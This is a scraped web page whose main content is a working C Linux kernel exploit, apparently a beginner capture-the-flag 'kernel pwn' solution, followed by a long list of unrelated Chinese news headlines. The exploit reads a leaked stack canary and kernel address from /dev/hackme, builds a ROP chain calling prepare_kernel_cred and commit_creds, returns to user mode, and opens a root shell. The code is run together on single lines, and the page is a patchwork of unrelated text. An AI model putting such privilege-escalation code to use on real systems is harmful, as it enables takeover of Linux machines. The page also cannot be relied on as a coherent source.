#include #include /*0xffffffff814c6410 T commit_creds -- [-3701815]0xffffffff814c67f0 T prepare_kernel_cred -- [-3700823]0xffffffff823d6b02: cmp rdi, 0xffffff; ret; -- [12094139]0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; -- [-1958308]0xffffffff81006370: pop rdi; ret; -- [-8682711]0xffffffff8100a55f: swapgs; pop rbp; ret; -- [-8665832]0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; -- [494318]0xffffffff814381cb: iretq; pop rbp; ret; -- [-4284028]0xffffffff8150b97e: pop rsi; ret; -- [-3417801]0xffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode -- [-6607159]*///iretq RIP|CS|RFLAGS|SP|SSunsigned long user_cs,user_rflags,user_sp,user_ss;void save_state(){ __asm( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("***save state***"); printf("user_cs:0x%lx\n", user_cs); printf("user_sp:0x%lx\n", user_sp); printf("user_ss:0x%lx\n", user_ss); printf("user_rflags:0x%lx\n", user_rflags); puts("***save finish***");}void backdoor(){ puts("***getshell***"); system("/bin/sh");}
int main(){ save_state(); int fd = open("/dev/hackme", O_RDWR); unsigned long buf[256]; read(fd, buf, 0x10 * 8); for(int i = 0; i < 0x10; i++) printf("i:%d\taddress:0x%lx\n",i, buf[i]); unsigned long canary = buf[2]; unsigned long payload[256]; unsigned int index = 0; for(int i = 0; i < (16); i ++) payload[index++] = 0; unsigned long leak_addr = buf[10]; printf("leak addr:0x%lx\n", leak_addr); //iretq RIP|CS|RFLAGS|SP|SS payload[index++] = canary; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0; payload[index++] = leak_addr - 8682711; //pop_rdi_ret payload[index++] = 0; payload[index++] = leak_addr - 3700823; //prepare_kernel_cred payload[index++] = leak_addr - 3417801; //pop_rsi_ret payload[index++] = 0; payload[index++] = leak_addr - 8682711; //pop_rdi_ret payload[index++] = 1; payload[index++] = leak_addr + 494318; //add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; payload[index++] = 0; payload[index++] = leak_addr - 1958308; //mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; payload[index++] = 0; payload[index++] = 0; payload[index++] = leak_addr - 3701815; //commit_creds; payload[index++] = leak_addr - 6607159 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov rdi,rsp; payload[index++] = 0; payload[index++] = 0; payload[index++] = (unsigned long)backdoor; payload[index++] = user_cs; payload[index++] = user_rflags; payload[index++] = user_sp; payload[index++] = user_ss; write(fd, payload, index * 8); }
更多网安技能的在线实操练习,请点击这里>>
关键词:
kernel pwn入门
当前要闻:柏瑞投资:亚洲高收益债券最具吸引力
高考中文题简单!老师称在越南学好中文工资更高:当地人不加班不为钱放弃生活
每日速看!199元起 雷柏VT9 PRO无线鼠标上架:68g轻量化设计
大梁+四驱!新一代哈弗H5回归:长城史上最大SUV_世界独家
全球观速讯丨谨防上当!女子网上找补漏报价800上门变4300:已有多人被骗
全球观速讯丨不到半价:八喜自选口味冰淇淋15大杯90g狂促99元
漫威系列电影观影顺序_威漫电影观影顺序
世界信息:linux Nginx+Tomcat负载均衡、动静分离
世界今亮点!CakePHP教程_编程入门自学教程_菜鸟教程-免费教程分享
js的中的函数(一)
语音房源码搭建技术分享之降噪功能详解
C#.NET Framework 使用BC库(BouncyCastle) RSA 私钥签名 公钥验签(验证签名) ver:20230704 每日观察
香港特区政府财政司司长陈茂波:进一步强化香港作为全球离岸人民币业务枢纽和国际风险管理中心的地位-看热讯
环球新动态:可转债市场首个退市整理期敲定 市场风格分化明显
天天快资讯丨普里戈任再次发声寻求支持:“你们会看到我们在前线取得新的胜利”
新能源硬派越野!比亚迪方程豹首款车型定名:叫“豹5”
天天快播:男子用共享电动车拦婚车要钱 司机曝内幕:专业闹喜人 不要红包只要100块
前有阿维塔 后有深蓝 “亲儿子”启源如何突围?-最新
荣耀全家桶来袭:手表、平板、电视全都有 焦点热门
环球消息!终于透明了!广州新规:网约车驾驶员端需显示抽成比例
每日热闻!昀冢科技:7月3日融资买入200.78万元,融资融券余额4987.8万元
B站内测搜索AI助手:输入“?”即可体验!
【笔试实战】LeetCode题单刷题-编程基础 0 到 1【二】 全球观天下
环球报道:Linux调优+Tomcat调优,超级干货,一定珍藏
三步搞定CentOS7下的MariaDB 10_天天观天下
前沿资讯!vue通用的增删改查按钮组件
制氧设备相关内容简介介绍图片_制氧设备相关内容简介介绍
广汽埃安副总经理:让特斯拉跑网约车 可能3个月车就不行了
百度专为学习打造!小度青禾学习手机第二款入网:支持5G
广汽“奇葩” 埃安凶猛_当前滚动
资讯:浙江仙居太阳像戴了美瞳:绝美彩色光晕 专家科普为何形成
当前观点:苹果Apple Beta短暂维护:iOS 17公测版要来了
亚太实业7月4日开盘涨停
spring启动流程 (3) BeanDefinition详解 每日播报
【天天报资讯】前端Vue自定义精美宫格菜单按钮组件 可设置一行展示个数 可设置成九宫格 十二宫格 十五宫格
景区放“丑女”雕塑被指侮辱女性,官方回应
微信支付每月免费提现额度引热议:1.2万免费提你会用吗?
要大涨价还买吗?iPhone 15系列新配色曝光:新渲染图亮相
复旦教授谈为何中国出不了马斯克 要对失败和试错足够包容:网友吐槽
新型进网许可标志启用 你买的手机是正品吗?最新查询方法来了_全球观察
每日聚焦:药品说明书“看不清”“看不懂”? 国家药监局进行适老化改革
自学Python之路-django模板--jinja2模板引擎配置
行政处罚的种类有哪些?行政处罚记录如何申请消除?
高考满分是多少分?高考满分状元750有几个人?
夏天是几月到几月?夏天冰箱调到几档最合适?
今日精选:多家国有大行下调美元存款利率 专家称美元存款主要面临汇兑风险
环球热文:国际金融市场早知道:7月4日
【天天热闻】武夷山属于福建还是江西 ?武夷山又增一张世界级名片
369、JackeyLove退出亚运会《英雄联盟》名单:回应原因没想到
成都一新能源汽车行驶中电池掉落马路 官方回应 天天微资讯
天天讯息:多人组团偷吃榴莲致超市损失近千元 果核扔进柜底:画面看醉 太丢人
环球快看点丨读发布!设计与部署稳定的分布式系统(第2版)笔记18_基础层之联网
每日观察!遇到疯狂GC时进行判断然后重启服务的方法-GPT学习使用之三
全球今亮点!苹果公众号文案毁三观:女生卖掉有好感男生送的演唱会门票创业
【环球新视野】叫板苹果?干翻华为小米?这手机有点东西
汪小菲带2个孩子回北京,汪小菲与大s的判决书下来了
焦点热门:留给混动车的好日子 不多了
iQOO 11S明天发!渠道商直呼“太顶了”_天天日报
希捷酷狼PRO充氦硬盘上手:NAS好伴侣
12万建充电桩 轻松年入60万?我扒了扒内幕 那叫一个坑
腾势N7发布:比亚迪也来30万级的市场抢肉了!|环球新资讯
热消息:核子微探针_关于核子微探针概略
京东苹果自营店是苹果官方授权的吗(京东苹果13只能买一个吗)|全球今亮点
excel怎样设置快捷键(excel快捷键设置在哪里)|热头条
m3是什么单位?m3在电脑上怎么打出来?
笃是什么意思?笃的五笔怎么打?
得物有运费险吗?得物怎么申请退换货?
21%的韩国人支持征收“单身税” 多为50岁的中老年赞同
多家上市公司鼓励生育 初步推算 携程计划未来投入10亿元生育补贴
电影《燃冬》今日官宣定档七夕 由周冬雨与刘昊然主演
MySQL自动安装脚本分享|当前播报
比亚迪发布“天神之眼”高阶智能驾驶系统 其算法全部自研
媒体报道称一位北京地接导游在颐和园带团游览时 因中暑导致身亡
世界微动态丨石家庄市摩托车限行规定_在石家庄骑摩托车会收到什么惩罚
中南大学一校友向母校捐赠6亿元:未公布姓名!系王传福、梁稳根等人母校
乘客称起飞时机组人员联网刷视频 南航回应:已记录反馈将会处理
《独立日2》演员:“史皇”没回归所以影片失败了
Jmeter学习之五_跟踪被测试服务器的performance
当前视讯!启辰t70刹车片多久换一个_启辰t70刹车片多久换?
全新体验版Windows QQ发布下载:64位NT架构、全新UI界面
不香了!两部美国大制作影片折戟:将面临巨亏-当前讯息
小米:生产日期靠前或停产的手机可放心买 全球快看
今日报丨23长城证券CP006今日发布发行公告
用 IaC 的方式管理 EC2 实例 - 每天5分钟玩转 GPT 编程系列(1)
jar-project 代码加壳加密工具【开源】 当前讯息
“冰箱死婴”震惊韩国,韩政府对2000多名“幽灵儿童”进行普查
电影《燃冬》定档七夕:周冬雨刘昊然主演
用户晒鸿蒙4.0开发者版:安装包高达6.11GB 全球快播
观天下!新美队吐槽哈利波特没黑人朋友!好莱坞决定修改重拍了
腾势N7摒弃无框车门:120km/h噪音遥遥领先特斯拉Model Y和极氪001
30.18万起 比亚迪纯电猎跑SUV腾势N7正式上市:领先行业两代! 前沿热点
掌握嵌入式Linux编程2工具链-世界聚焦
C语言实现顺序表的基本操作
外交部:中国
天天关注:海关回应日本进口蜜瓜138元一瓣:没有的事儿
丹麦特斯拉车主在家充电6小时 赚了17美元 全球即时
每日快讯!紫光公开嵌入式多层SeDRAM内存:带宽、能效遥遥领先
特斯拉完胜 比亚迪彻底狂飙 车企半年考交卷了
热消息:安兔兔6月安卓手机性能榜出炉:vivo X90s一骑绝尘